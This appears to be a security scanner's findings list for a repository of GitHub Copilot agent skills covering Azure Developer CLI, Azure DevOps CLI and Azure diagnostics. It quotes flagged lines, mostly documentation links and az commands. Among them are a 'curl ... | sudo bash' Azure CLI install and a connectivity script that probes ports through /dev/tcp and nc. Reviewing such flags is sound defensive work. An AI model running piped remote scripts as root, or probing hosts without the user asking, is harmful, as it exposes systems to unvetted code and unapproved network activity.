    - [What is the Azure Developer CLI?](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/overview)
  • Network accessline 9
    - [Azure Developer CLI templates overview](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/azd-templates)
  • Network accessline 10
    - [Create Azure Developer CLI templates overview](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/make-azd-compatible)
  • Network accessline 11
    - [Azure Developer CLI schema reference](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/azd-schema)
  • Network accessline 12
    - [`azure.yaml` JSON schema](https://aka.ms/azure.yaml.json)
  • Network accessline 13
    - [Explore the `azd up` workflow](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/azd-up-workflow)
  • Network accessline 14
    - [Full-stack deployment with Azure Developer CLI](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/full-stack-deployment)
  • Network accessline 18
    - [Use Terraform as an infrastructure as code tool for Azure Developer CLI](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/use-terraform-for-azd)
  • Network accessline 19
    - [Azure Verified Modules](https://azure.github.io/Azure-Verified-Modules/)
  • Network accessline 20
    - [Bicep documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/)
  • Network accessline 21
    - [Terraform on Azure documentation](https://learn.microsoft.com/en-us/azure/developer/terraform/)
  • Network accessline 25
    - [Azure Developer CLI environments overview](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/environments-overview)
  • Network accessline 26
    - [Work with Azure Developer CLI environments](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/work-with-environments)
  • Network accessline 27
    - [Work with Azure Developer CLI environment variables](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/manage-environment-variables)
  • Network accessline 28
    - [Remote environments support](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/remote-environments-support)
  • Network accessline 29
    - [Use environment secrets with Azure Developer CLI](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/environment-secrets)
  • Network accessline 33
    - [Customize Azure Developer CLI workflows using hooks](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/azd-extensibility)
  • Network accessline 34
    - [Explore Azure Developer CLI support for CI/CD pipelines](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/configure-devops-pipeline)
  • Network accessline 35
    - [Create a GitHub Actions CI/CD pipeline using Azure Developer CLI](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/pipeline-github-actions)
  • Network accessline 36
    - [Advanced pipeline features and configurations](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/pipeline-advanced-features)
  • Network accessline 37
    - [Azure Developer CLI command reference](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/reference)
  • Network accessline 38
    - [Troubleshoot Azure Developer CLI](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/troubleshoot)
  • Network accessline 42
    - [Adding agent skills for GitHub Copilot](https://docs.github.com/en/copilot/how-tos/copilot-on-github/customize-copilot/customize-cloud-agent/add-skills)
  • Network accessline 43
    - [About agent skills](https://docs.github.com/en/copilot/concepts/agents/about-agent-skills)

harness/github-copilot/skills/azure-developer-cli/references/project-structure.md

  • Network accessline 59
    # yaml-language-server: $schema=https://raw.githubusercontent.com/Azure/azure-dev/main/schemas/v1.0/azure.yaml.json

harness/github-copilot/skills/azure-devops-cli/SKILL.md

  • Network accessline 27
    # Install Azure CLI on Linux curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
  • Dangerous shell operationline 28
    curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
  • Network accessline 28
    curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
  • Network accessline 37
    az devops login --organization https://dev.azure.com/{org} --token YOUR_PAT_TOKEN
  • Network accessline 38
    az devops configure --defaults organization=https://dev.azure.com/{org} project={project}
  • Network accessline 42
    Replace legacy `https://{org}.visualstudio.com` URLs with `https://dev.azure.com/{org}`.
  • Network accessline 129
    - **Do not expose `YOUR_PAT_TOKEN`**: pass tokens through secure input or environment-controlled login, never commit them. - **Configure defaults carefully**: stale defaults can mutate the wrong organization or project. - **Prefer `https://
  • Network accessline 130
    - **Configure defaults carefully**: stale defaults can mutate the wrong organization or project. - **Prefer `https://dev.azure.com/{org}`**: legacy `https://{org}.visualstudio.com` URLs should be replaced. - **Windows long comments fail thr
  • Network accessline 131
    - **Prefer `https://dev.azure.com/{org}`**: legacy `https://{org}.visualstudio.com` URLs should be replaced.
  • Network accessline 157
    **Status:** complete | blocked | failed **Organization:** `https://dev.azure.com/{org}`
  • Network accessline 158
    **Organization:** `https://dev.azure.com/{org}`
  • Network accessline 178
    - [ ] Azure CLI and `azure-devops` extension prerequisites are satisfied or installation commands are provided. - [ ] Organization uses `https://dev.azure.com/{org}` and the project context is explicit.
  • Network accessline 179
    - [ ] Organization uses `https://dev.azure.com/{org}` and the project context is explicit.
  • Network accessline 188
    - [Azure CLI Linux install](https://aka.ms/InstallAzureCLIDeb)

harness/github-copilot/skills/azure-devops-cli/references/advanced-usage.md

  • Network accessline 159
    | Parameter | Description | |---|---| | `--org` / `--organization` | Azure DevOps organization URL (e.g., `https://dev.azure.com/{org}`) |
  • Network accessline 160
    |---|---| | `--org` / `--organization` | Azure DevOps organization URL (e.g., `https://dev.azure.com/{org}`) | | `--project` / `-p` | Project name or ID |
  • Network accessline 161
    | `--org` / `--organization` | Azure DevOps organization URL (e.g., `https://dev.azure.com/{org}`) |

harness/github-copilot/skills/azure-devops-cli/references/long-comments-on-windows.md

  • Network accessline 54
    The Azure CLI `@<file>` convention is documented for JSON parameters (see [the official quoting guide](https://learn.microsoft.com/en-us/cli/azure/use-azure-cli-successfully-quoting)). It is not guaranteed to expand plain string args like `

harness/github-copilot/skills/azure-devops-cli/references/org-and-security.md

  • Network accessline 22
    az devops project list --organization https://dev.azure.com/{org}
  • Network accessline 29
    az devops project create \   --name myNewProject \   --organization https://dev.azure.com/{org} \
  • Network accessline 30
    --name myNewProject \   --organization https://dev.azure.com/{org} \   --description "My new DevOps project" \
  • Network accessline 31
    --organization https://dev.azure.com/{org} \
  • Network accessline 40
    az devops project show --project {project-name} --org https://dev.azure.com/{org}
  • Network accessline 46
    az devops project delete --id {project-id} --org https://dev.azure.com/{org} --yes
  • Network accessline 155
    az devops user list --org https://dev.azure.com/{org}
  • Network accessline 162
    az devops user show --user {user-id-or-email} --org https://dev.azure.com/{org}
  • Network accessline 168
    az devops user add    --email user@example.com    --license-type express    --org https://dev.azure.com/{org}
  • Network accessline 169
    --email user@example.com \   --license-type express \   --org https://dev.azure.com/{org}
  • Network accessline 171
    --org https://dev.azure.com/{org}
  • Network accessline 177
    az devops user update    --user {user-id-or-email}    --license-type advanced    --org https://dev.azure.com/{org}
  • Network accessline 178
    --user {user-id-or-email} \   --license-type advanced \   --org https://dev.azure.com/{org}
  • Network accessline 180
    --org https://dev.azure.com/{org}
  • Network accessline 186
    az devops user remove --user {user-id-or-email} --org https://dev.azure.com/{org} --yes
  • Network accessline 440
    # List installed extensions az devops extension list --org https://dev.azure.com/{org}
  • Network accessline 441
    az devops extension list --org https://dev.azure.com/{org}
  • Network accessline 446
    # Show extension details az devops extension show --ext-id {extension-id} --org https://dev.azure.com/{org}
  • Network accessline 447
    az devops extension show --ext-id {extension-id} --org https://dev.azure.com/{org}
  • Network accessline 450
    az devops extension install \   --ext-id {extension-id} \   --org https://dev.azure.com/{org} \
  • Network accessline 451
    --ext-id {extension-id} \   --org https://dev.azure.com/{org} \   --publisher {publisher-id}
  • Network accessline 452
    --org https://dev.azure.com/{org} \
  • Network accessline 456
    az devops extension enable \   --ext-id {extension-id} \   --org https://dev.azure.com/{org}
  • Network accessline 458
    --org https://dev.azure.com/{org}
  • Network accessline 461
    az devops extension disable \   --ext-id {extension-id} \   --org https://dev.azure.com/{org}
  • Network accessline 463
    --org https://dev.azure.com/{org}
  • Network accessline 466
    az devops extension uninstall \   --ext-id {extension-id} \   --org https://dev.azure.com/{org} --yes
  • Network accessline 468
    --org https://dev.azure.com/{org} --yes

harness/github-copilot/skills/azure-devops-cli/references/pipelines-and-builds.md

  • Network accessline 39
    az pipelines create \   --name 'GitHubPipeline' \   --repository https://github.com/Org/Repo \
  • Network accessline 40
    --name 'GitHubPipeline' \   --repository https://github.com/Org/Repo \   --branch main \
  • Network accessline 41
    --repository https://github.com/Org/Repo \

harness/github-copilot/skills/azure-devops-cli/references/repos-and-prs.md

  • Network accessline 17
    az repos list --org https://dev.azure.com/{org} --project {project}
  • Network accessline 50
    # Import from public Git repository az repos import create \   --git-source-url https://github.com/user/repo \
  • Network accessline 51
    az repos import create    --git-source-url https://github.com/user/repo
  • Network accessline 52
    --git-source-url https://github.com/user/repo \
  • Network accessline 55
    # Import with authentication az repos import create \   --git-source-url https://github.com/{owner}/{repo} \
  • Network accessline 56
    az repos import create    --git-source-url https://github.com/{owner}/{repo}
  • Network accessline 57
    --git-source-url https://github.com/{owner}/{repo} \

harness/github-copilot/skills/azure-devops-cli/references/workflows-and-patterns.md

  • Access to secretsline 156
    [Credential-related source omitted]
  • Access to secretsline 158
    [Credential-related source omitted]
  • Network accessline 177
    "serviceEndpointId": "$SERVICE_ENDPOINT_ID"   },   "url": "https://learn.microsoft.com/en-us/rest/api/resources/",
  • Network accessline 178
    [Credential-related source omitted]
  • Network accessline 179
    "url": "https://learn.microsoft.com/en-us/rest/api/resources/",
  • Access to secretsline 185
    [Credential-related source omitted]
  • Network accessline 333
    # Alternative download method   curl -L "$BACKUP_URL" -o ./output/backup.zip
  • Network accessline 334
    curl -L "$BACKUP_URL" -o ./output/backup.zip
  • Access to secretsline 460
    [Credential-related source omitted]
  • Access to secretsline 461
    [Credential-related source omitted]
  • Network accessline 553
    if [[ "$RESULT" == "failed" ]]; then       # Send Slack alert       curl -X POST "$slack_webhook" \
  • Network accessline 554
    # Send Slack alert       curl -X POST "$slack_webhook" \         -H 'Content-Type: application/json' \
  • Network accessline 555
    curl -X POST "$slack_webhook" \

harness/github-copilot/skills/azure-diagnostics/references/app-service/README.md

  • Network accessline 6
    |---------|--------------|-----------| | High CPU / memory | Runaway process, inefficient code | Use Process Explorer via Kudu, scale up | | Deployment failure | Build error, locked files, quota | Check Kudu logs at `https://APP.scm.azurewe
  • Network accessline 7
    | High CPU / memory | Runaway process, inefficient code | Use Process Explorer via Kudu, scale up | | Deployment failure | Build error, locked files, quota | Check Kudu logs at `https://APP.scm.azurewebsites.net/api/deployments` to look for
  • Network accessline 8
    | Deployment failure | Build error, locked files, quota | Check Kudu logs at `https://APP.scm.azurewebsites.net/api/deployments` to look for details on build errors, locked files or lack of storage quota |
  • Network accessline 30
    **Fix:** Scale up (`az appservice plan update -n <app-service-plan-name> -g <resource-group> --sku P1V3`) or profile the app via Kudu Process Explorer at `https://APP.scm.azurewebsites.net/ProcessExplorer/` to identify hot paths.
  • Network accessline 96
    # Test the endpoint directly curl -s -o /dev/null -w "%{http_code}" https://APP.azurewebsites.net/health
  • Network accessline 97
    curl -s -o /dev/null -w "%{http_code}" https://APP.azurewebsites.net/health

harness/github-copilot/skills/azure-diagnostics/references/container-apps/README.md

  • Network accessline 61
    # Check if /health endpoint responds curl https://APP.REGION.azurecontainerapps.io/health
  • Network accessline 62
    curl https://APP.REGION.azurecontainerapps.io/health

harness/github-copilot/skills/azure-diagnostics/references/kql-queries.md

  • Network accessline 64
    - [KQL Quick Reference](https://learn.microsoft.com/azure/data-explorer/kql-quick-reference)
  • Network accessline 65
    - [Application Insights Queries](https://learn.microsoft.com/azure/azure-monitor/logs/queries)

harness/github-copilot/skills/azure-diagnostics/scripts/aks-baseline.ps1

  • Executable scriptline 1
    Executable file

harness/github-copilot/skills/azure-diagnostics/scripts/aks-baseline.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/github-copilot/skills/azure-diagnostics/scripts/appservice-diagnostics.ps1

  • Executable scriptline 1
    Executable file

harness/github-copilot/skills/azure-diagnostics/scripts/appservice-diagnostics.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/github-copilot/skills/azure-diagnostics/scripts/containerapp-diagnostics.ps1

  • Executable scriptline 1
    Executable file

harness/github-copilot/skills/azure-diagnostics/scripts/containerapp-diagnostics.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/github-copilot/skills/azure-diagnostics/scripts/pod-evidence.ps1

  • Executable scriptline 1
    Executable file

harness/github-copilot/skills/azure-diagnostics/scripts/pod-evidence.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/github-copilot/skills/azure-diagnostics/scripts/run-ig.ps1

  • Executable scriptline 1
    Executable file

harness/github-copilot/skills/azure-diagnostics/scripts/run-ig.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/github-copilot/skills/azure-diagnostics/scripts/test-messaging-connectivity.ps1

  • Executable scriptline 1
    Executable file
  • Network accessline 89
    function Get-HttpsResult {     try {         $resp = Invoke-WebRequest -Uri "https://$fqdn/" -Method Get -TimeoutSec 15 `
  • Network accessline 90
    try {         $resp = Invoke-WebRequest -Uri "https://$fqdn/" -Method Get -TimeoutSec 15 `             -UseBasicParsing -ErrorAction Stop
  • Network accessline 91
    $resp = Invoke-WebRequest -Uri "https://$fqdn/" -Method Get -TimeoutSec 15 `

harness/github-copilot/skills/azure-diagnostics/scripts/test-messaging-connectivity.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Network accessline 99
    probe_tcp() {     local host="$1" port="$2"     if command -v nc >/dev/null 2>&1; then
  • Network accessline 100
    local host="$1" port="$2"     if command -v nc >/dev/null 2>&1; then         if nc -z -w 5 "$host" "$port" >/dev/null 2>&1; then
  • Network accessline 101
    if command -v nc >/dev/null 2>&1; then
  • Network accessline 102
    if nc -z -w 5 "$host" "$port" >/dev/null 2>&1; then
  • Dangerous shell operationline 108
    ( exec 3<>"/dev/tcp/$host/$port" ) >/dev/null 2>&1 &
  • Network accessline 108
    ( exec 3<>"/dev/tcp/$host/$port" ) >/dev/null 2>&1 &
  • Network accessline 132
    # ── HTTPS reachability ──────────────────────────────────────────────────────── # On success the namespace returns an Atom feed or HTTP 401 — either proves the # endpoint is reachable. A connection failure (curl exit != 0) means blocked.
  • Network accessline 134
    # endpoint is reachable. A connection failure (curl exit != 0) means blocked.
  • Network accessline 135
    https_result() {     if ! command -v curl >/dev/null 2>&1; then
  • Network accessline 136
    if ! command -v curl >/dev/null 2>&1; then
  • Network accessline 138
    if probe_tcp "$FQDN" 443; then             echo "reachable (TCP 443 open; curl unavailable for HTTP check)"
  • Network accessline 139
    echo "reachable (TCP 443 open; curl unavailable for HTTP check)"
  • Network accessline 144
    fi     local code     code=$(curl -s -o /dev/null -m 15 -w '%{http_code}' "https://$FQDN/" 2>/dev/null)
  • Network accessline 145
    local code     code=$(curl -s -o /dev/null -m 15 -w '%{http_code}' "https://$FQDN/" 2>/dev/null)     local rc=$?
  • Network accessline 146
    code=$(curl -s -o /dev/null -m 15 -w '%{http_code}' "https://$FQDN/" 2>/dev/null)
  • Network accessline 149
    echo "reachable (HTTP $code)"     else         echo "BLOCKED (curl exit $rc)"
  • Network accessline 150
    else         echo "BLOCKED (curl exit $rc)"     fi
  • Network accessline 151
    echo "BLOCKED (curl exit $rc)"

harness/github-copilot/skills/azure-diagnostics/troubleshooting/aks/networking.md

  • Network accessline 3
    For CNI-specific issues, check CNI pod health and review [AKS networking concepts](https://learn.microsoft.com/azure/aks/concepts-network).
  • Network accessline 15
    # This creates a temporary pod. Prefer read-only checks first. # Only use it after the user explicitly approves a mutating test. kubectl run netdebug --image=curlimages/curl -it --rm -n <ns> -- \
  • Network accessline 16
    # Only use it after the user explicitly approves a mutating test. kubectl run netdebug --image=curlimages/curl -it --rm -n <ns> -- \   curl -sv http://<service>.<ns>.svc.cluster.local:<port>/healthz
  • Network accessline 17
    kubectl run netdebug --image=curlimages/curl -it --rm -n <ns> -- \
  • Network accessline 18
    curl -sv http://<service>.<ns>.svc.cluster.local:<port>/healthz

harness/github-copilot/skills/azure-diagnostics/troubleshooting/aks/node-issues.md

  • Network accessline 97
    See [AKS resource reservations](https://learn.microsoft.com/azure/aks/concepts-clusters-workloads#resource-reservations) for allocatable math.

harness/github-copilot/skills/azure-diagnostics/troubleshooting/aks/spot-and-zone-issues.md

  • Network accessline 64
    Use `Premium_ZRS` or `StandardSSD_ZRS` in custom StorageClasses to reduce zonal PVC conflicts. See [AKS storage best practices](https://learn.microsoft.com/azure/aks/operator-best-practices-storage).

harness/github-copilot/skills/azure-diagnostics/troubleshooting/compute/references/cannot-connect-to-vm.md

  • Network accessline 48
    [Windows RDP]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-connection
  • Network accessline 49
    [Linux SSH]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/troubleshoot-ssh-connection
  • Network accessline 50
    [Windows VM hub]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/welcome-virtual-machines-windows
  • Network accessline 51
    [Linux VM hub]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/welcome-virtual-machines-linux

harness/github-copilot/skills/azure-diagnostics/troubleshooting/compute/references/credential-auth-errors.md

  • Dangerous shell operationline 16
    | sudo prompt fails | Linux | Fix sudoers via Run Command or Serial Console | [SSH overview] |
  • Network accessline 33
    [Reset RDP]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/reset-rdp
  • Network accessline 34
    [RDP overview]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-connection
  • Network accessline 35
    [RDP errors]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-specific-rdp-errors
  • Network accessline 36
    [CredSSP]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/credssp-encryption-oracle-remediation
  • Network accessline 37
    [SSH detail]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/detailed-troubleshoot-ssh-connection
  • Network accessline 38
    [SSH overview]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/troubleshoot-ssh-connection

harness/github-copilot/skills/azure-diagnostics/troubleshooting/compute/references/firewall-blocking.md

  • Network accessline 36
    [Guest firewall]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/guest-os-firewall-blocking-inbound-traffic
  • Network accessline 37
    [Firewall rule]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/enable-disable-firewall-rule-guest-os
  • Network accessline 38
    [Offline firewall]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/disable-guest-os-firewall-windows
  • Network accessline 39
    [SSH overview]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/troubleshoot-ssh-connection
  • Network accessline 40
    [Linux repair]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/repair-linux-vm-using-azure-virtual-machine-repair-commands

harness/github-copilot/skills/azure-diagnostics/troubleshooting/compute/references/network-connectivity.md

  • Network accessline 36
    [RDP NSG]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-nsg-problem
  • Network accessline 37
    [Traffic filter]: https://learn.microsoft.com/en-us/azure/network-watcher/diagnose-vm-network-traffic-filtering-problem
  • Network accessline 38
    [Routing]: https://learn.microsoft.com/en-us/azure/network-watcher/diagnose-vm-network-routing-problem
  • Network accessline 39
    [Public IP]: https://learn.microsoft.com/en-us/azure/virtual-network/ip-services/public-ip-addresses
  • Network accessline 40
    [RDP NIC]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-nic-disabled
  • Network accessline 41
    [Reset NIC]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/reset-network-interface
  • Network accessline 42
    [DHCP]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-dhcp-disabled
  • Network accessline 43
    [SSH overview]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/troubleshoot-ssh-connection

harness/github-copilot/skills/azure-diagnostics/troubleshooting/compute/references/rdp-connectivity.md

  • Network accessline 34
    [RDP NSG]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-nsg-problem
  • Network accessline 35
    [Guest firewall]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/guest-os-firewall-blocking-inbound-traffic
  • Network accessline 36
    [RDP errors]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-specific-rdp-errors
  • Network accessline 37
    [Internal]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-internal-error
  • Network accessline 38
    [General]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-general-error
  • Network accessline 39
    [Detailed]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/detailed-troubleshoot-rdp
  • Network accessline 40
    [RDP overview]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-connection
  • Network accessline 41
    [Event IDs]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/event-id-troubleshoot-vm-rdp-connecton
  • Network accessline 42
    [RDP NIC]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-nic-disabled

harness/github-copilot/skills/azure-diagnostics/troubleshooting/compute/references/rdp-service-config.md

  • Network accessline 7
    | Symptom                                | Solution                                                               | Documentation                                                                                                               
  • Network accessline 8
    | -------------------------------------- | ---------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------
  • Network accessline 9
    | TermService not running                | Start the service and set to Automatic                                 | [Reset RDP service](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/reset-rdp)                
  • Network accessline 10
    | RDP port changed from 3389             | Reset port or update NSG to allow the custom port                      | [Detailed RDP troubleshooting](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/detailed-troubl
  • Network accessline 11
    | RDP disabled (fDenyTSConnections = 1)  | Reset RDP config via CLI or Portal                                     | [Reset RDP service](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/reset-rdp)                
  • Network accessline 12
    | TLS/SSL certificate expired or corrupt | Delete cert and restart TermService to regenerate                      | [RDP internal error](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-internal
  • Network accessline 13
    | NLA/Security Layer mismatch            | Temporarily disable NLA for recovery                                   | [RDP general error](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-general-e
  • Network accessline 14
    | GPO overriding local RDP settings      | Check `HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services` | [Detailed RDP troubleshooting](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/detailed-troubl
  • Network accessline 15
    | RDS licensing expired                  | Remove RDSH role or configure license server                           | [Specific RDP errors](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-specific-rd

harness/github-copilot/skills/azure-diagnostics/troubleshooting/compute/references/ssh-connectivity.md

  • Network accessline 34
    [SSH overview]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/troubleshoot-ssh-connection
  • Network accessline 35
    [SSH detail]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/detailed-troubleshoot-ssh-connection
  • Network accessline 36
    [Debian]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/cannot-connect-debian-linux
  • Network accessline 37
    [SELinux]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/linux-selinux-troubleshooting
  • Network accessline 38
    [UEFI]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/azure-linux-vm-uefi-boot-failures

harness/github-copilot/skills/azure-diagnostics/troubleshooting/compute/references/vm-agent-not-responding.md

  • Network accessline 9
    | Symptom                                                          | OS      | Solution                                                 | Documentation                                                                                         
  • Network accessline 10
    | ---------------------------------------------------------------- | ------- | -------------------------------------------------------- | ------------------------------------------------------------------------------------------------------
  • Network accessline 11
    | Run Command times out                                            | Windows | VM agent may be down — use Serial Console instead        | [Serial Console — Windows](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windo
  • Network accessline 12
    | Run Command times out                                            | Linux   | VM agent may be down — use Serial Console instead        | [Serial Console — Linux](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/s
  • Network accessline 13
    | Password reset fails via Portal/CLI                              | Windows | VMAccess extension can't communicate — use offline reset | [Reset password without agent](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/w
  • Network accessline 14
    | Password/key reset fails via Portal/CLI                          | Linux   | VMAccess extension can't communicate — use Serial Console | [Serial Console — Linux](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/
  • Network accessline 15
    | VM not booting (Boot Diagnostics shows BSOD/stuck)               | Windows | OS-level issue — use repair VM for offline fix           | [Repair Windows VM](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/repa
  • Network accessline 16
    | VM not booting (Boot Diagnostics shows kernel panic/stuck)       | Linux   | Use repair VM for offline Linux disk fix                 | [Repair Linux VM](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/repair-l
  • Network accessline 17
    | VMAccess extension error on domain controller                    | Windows | VMAccess doesn't support DCs — use Serial Console        | [Serial Console — Windows](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windo

harness/github-copilot/skills/azure-diagnostics/troubleshooting/messaging/auth-best-practices.md

  • Network accessline 3
    > Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 122
    - [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview)
  • Network accessline 123
    - [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview)
  • Network accessline 124
    - [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview)
  • Network accessline 125
    - [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 126
    - [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme)
  • Network accessline 127
    - [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme)
  • Network accessline 128
    - [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)

harness/github-copilot/skills/azure-diagnostics/troubleshooting/messaging/azure-eventhubs-dotnet.md

  • Network accessline 3
    Package: `Azure.Messaging.EventHubs` | [README](https://github.com/Azure/azure-sdk-for-net/blob/main/sdk/eventhub/Azure.Messaging.EventHubs/) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-net/blob/main/sdk/eventhub/A
  • Network accessline 27
    Configure via `EventHubsRetryOptions` when creating the client. See [Configuring retry thresholds sample](https://github.com/Azure/azure-sdk-for-net/blob/main/sdk/eventhub/Azure.Messaging.EventHubs/samples).
  • Network accessline 31
    - **Socket exhaustion**: Treat clients as singletons. Share `EventHubConnection` across clients if needed. Always call `CloseAsync` or `DisposeAsync`. - **HTTP 412/409 from storage**: Normal during checkpoint store operations — not an error
  • Network accessline 32
    - **HTTP 412/409 from storage**: Normal during checkpoint store operations — not an error. - **Partitions closing frequently**: Expected when scaling. If persists >5 min without scaling, investigate. See [Troubleshooting Guide](https://gith
  • Network accessline 33
    - **Partitions closing frequently**: Expected when scaling. If persists >5 min without scaling, investigate. See [Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-net/blob/main/sdk/eventhub/Azure.Messaging.EventHubs/TROUBLESHOO

harness/github-copilot/skills/azure-diagnostics/troubleshooting/messaging/azure-eventhubs-java.md

  • Network accessline 3
    Package: `azure-messaging-eventhubs` | [README](https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/eventhubs/azure-messaging-eventhubs/) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/eventhu
  • Network accessline 5
    > ⚠<U+FE0F> **Note:** The detailed Java troubleshooting guide has moved to [Microsoft Learn](https://learn.microsoft.com/azure/developer/java/sdk/troubleshooting-messaging-event-hubs-overview).
  • Network accessline 29
    See [Java SDK logging docs](https://learn.microsoft.com/azure/developer/java/sdk/troubleshooting-messaging-event-hubs-overview) for details.

harness/github-copilot/skills/azure-diagnostics/troubleshooting/messaging/azure-eventhubs-js.md

  • Network accessline 3
    Package: `@azure/event-hubs` | [README](https://github.com/Azure/azure-sdk-for-js/blob/main/sdk/eventhub/event-hubs/) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-js/blob/main/sdk/eventhub/event-hubs/TROUBLESHOOTING

harness/github-copilot/skills/azure-diagnostics/troubleshooting/messaging/azure-eventhubs-py.md

  • Network accessline 3
    Package: `azure-eventhub` | [README](https://github.com/Azure/azure-sdk-for-python/blob/main/sdk/eventhub/azure-eventhub) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-python/blob/main/sdk/eventhub/azure-eventhub/TRO

harness/github-copilot/skills/azure-diagnostics/troubleshooting/messaging/azure-servicebus-dotnet.md

  • Network accessline 3
    Package: `Azure.Messaging.ServiceBus` | [README](https://github.com/Azure/azure-sdk-for-net/blob/main/sdk/servicebus/Azure.Messaging.ServiceBus/) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-net/blob/main/sdk/servic
